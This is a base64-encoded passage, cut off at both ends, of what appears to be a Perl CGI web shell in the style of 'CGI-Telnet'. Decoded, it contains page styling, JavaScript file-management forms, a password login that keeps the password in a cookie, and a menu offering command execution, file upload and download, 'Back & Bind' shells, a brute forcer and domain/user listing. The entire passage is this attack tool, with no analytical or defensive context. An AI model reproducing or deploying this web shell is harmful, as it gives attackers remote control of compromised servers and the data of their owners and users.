C1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KLmxpc3RkaXIgdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDogIzQ0NDsNCn0NCi5saXN0ZGlyIHRyOmhvdmVyIHRkew0KCWJhY2tncm91bmQ6ICM0NDQ7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7DQp9DQoubm90bGluZXsNCgliYWNrZ3JvdW5kOiAjMTExOw0KfQ0KLmxpbmV7DQoJYmFja2dyb3VuZDogIzIyMjsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIEVuY29kZXIobmFtZSkNCnsNCgl2YXIgZSA9ICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChuYW1lKTsNCgllLnZhbHVlID0gYnRvYShlLnZhbHVlKTsNCglyZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQ0Kew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQ0Kew0KCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOw0KfQ0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7DQoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJaWYoZj09J2YnKQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOw0KCX1lbHNlDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7DQoJfQ0KfQ0KPC9zY3JpcHQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxjZW50ZXI+PGNvZGU+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPg0KCQk8Yj48Zm9udCBzaXplPSIzIj5vLS0tWyAgJEVkaXRQZXJzaW9uIF0tLS1vPC9mb250PjwvYj4NCgk8L3RkPg0KCTx0ZD4NCgkJJGluZm8NCgk8L3RkPg0KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNmZjk5MDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSIjZmY5OTAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KCTwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlQ3VycmVudERpciI+R1VJPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiI+DQokaWQNCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjRkZGRkZGIiA+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoJcHJpbnQgPDxFTkQ7DQo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7DQogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7DQogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLg0KICAgIHJldHVybjsNCiAgfQ0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50Ow0KICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsNCiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7DQogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOw0KICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Ow0KICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7DQogIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsNCiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOw0KICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOw0KICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICB0aGlzLnRhZ0J1ZmZlciA9ICIiOw0KICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsNCn0NClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7DQpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7DQpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgew0KICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOw0KfQ0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7DQogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOw0KICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgew0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsNCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQoJdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsNCiAgfQ0KfQ0KPC9zY3JpcHQ+DQo8L3ByZT4NCg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGVuY29kZSBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcmxFbmNvZGUoJCl7DQoJbXkgJHN0ciA9IHNoaWZ0Ow0KCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7DQoJcmV0dXJuICRzdHI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8nL2c7DQoJJHRleHQgPX4gcy88LyZsdDsvZzsNCgkkdGV4dCA9fiBzLz4vJmd0Oy9nOw0KCXJldHVybiAkdGV4dDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQWRkIGxpbmsgZm9yIGRpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEFkZExpbmtEaXIoJCkNCnsNCglteSAkYWM9c2hpZnQ7DQoJbXkgQGRpcj0oKTsNCglpZigkV2luTlQpDQoJew0KCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOw0KCX1lbHNlDQoJew0KCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOw0KCX0NCglteSAkcGF0aD0iIjsNCglteSAkcmVzdWx0PSIiOw0KCWZvcmVhY2ggKEBkaXIpDQoJew0KCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsNCgkJJHJlc3VsdC49IjxhIGhyZWY9Jz9hPSIuJGFjLiImZD0iLmVuY29kZV9iYXNlNjQoJHBhdGgpLiInPiIuJF8uJFBhdGhTZXAuIjwvYT4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlDQp7DQoJcHJpbnQgPDxFTkQ7DQoNClBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQpMb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8YnI+PGZvbnQgY29sb3I9cmVkPm8tLS1bICA8Zm9udCBjb2xvcj0jZmY5OTAwPkVkaXQgYnkgJEVkaXRQZXJzaW9uIDwvZm9udD4gIF0tLS1vPC9mb250PjwvY29kZT48L2NlbnRlcj48L2JvZHk+PC9odG1sPiI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9nb3V0U2NyZWVuDQp7DQoJcHJpbnQgIkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCg0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KCWV4aXQ7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXI7DQoJCXByaW50ICZMaXN0RGlyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCg0KCQl9DQoJCSZQcmludExvZ2luRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYX